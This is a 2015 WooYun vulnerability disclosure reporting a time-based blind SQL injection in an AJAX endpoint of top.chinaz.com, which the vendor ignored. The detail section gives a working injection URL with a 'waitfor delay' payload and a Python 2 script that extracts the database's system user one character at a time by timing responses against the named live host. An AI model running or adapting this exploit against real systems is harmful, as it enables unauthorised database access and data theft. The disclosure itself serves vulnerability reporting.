当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145801

漏洞标题:站长之家某站存在SQL注入(附脚本)

相关厂商:站长之家

漏洞作者: 路人甲

提交时间:2015-10-10 16:18

修复时间:2015-10-15 16:20

公开时间:2015-10-15 16:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-10: 细节已通知厂商并且等待厂商处理中
2015-10-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

http://top.chinaz.com/Action/listAjax.aspx?at=changeNextList&p=2&sj=0.3962032066192478&t=XsHOEFlA0h')); if LeN(SYstem_User)=9 waitfor delay '0:0:3' -- &_=1444449646120

11.png

user长度为9

12.png

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,10):
for payload in payloads:

time.sleep(1) #间隔一秒
try:

conn = httplib.HTTPConnection('top.chinaz.com', timeout=5)
s = "if (ascii(substring(system_user,%s,1))=%s) waitfor delay '0:0:5' --" % (i, ord(payload))
params = "at=changeNextList&p=2&sj=0.3962032066192478&t=XsHOEFlA0h'));" + urllib.quote(s)
conn.request(method='GET', url= '/Action/listAjax.aspx?' + params,
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '.',
except Exception, e:
user += payload
print '\nIn progress]', user
break

print '\n[Done] User is:', user


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-15 16:20

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无